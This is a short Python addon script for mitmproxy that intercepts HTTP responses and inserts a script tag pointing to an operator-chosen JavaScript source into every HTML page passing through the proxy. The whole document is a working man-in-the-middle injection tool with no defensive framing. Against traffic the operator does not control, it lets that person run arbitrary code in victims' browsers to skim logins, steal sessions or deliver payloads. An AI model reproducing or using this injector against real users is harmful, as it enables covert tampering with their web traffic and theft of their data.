1# Usage: mitmdump -s "js_injector.py src"
 2# (this script works best with --anticache)
 3from bs4 import BeautifulSoup
 4from mitmproxy import ctx, http
 5import argparse
 6
 7class Injector:
 8    def __init__(self, path):
 9        self.path = path
10
11    def response(self, flow: http.HTTPFlow) -> None:
12        if self.path:
13            html = BeautifulSoup(flow.response.content, "html.parser")
14            print(self.path)
15            print(flow.response.headers["content-type"])
16            if flow.response.headers["content-type"] == 'text/html':
17                print(flow.response.headers["content-type"])
18                script = html.new_tag(
19                    "script",
20                    src=self.path,
21                    type='application/javascript')
22                html.body.insert(0, script)
23                flow.response.content = str(html).encode("utf8")
24                print("Script injected.")
25
26def start():
27    parser = argparse.ArgumentParser()
28    parser.add_argument("path", type=str)
29    args = parser.parse_args()
30    return Injector(args.path)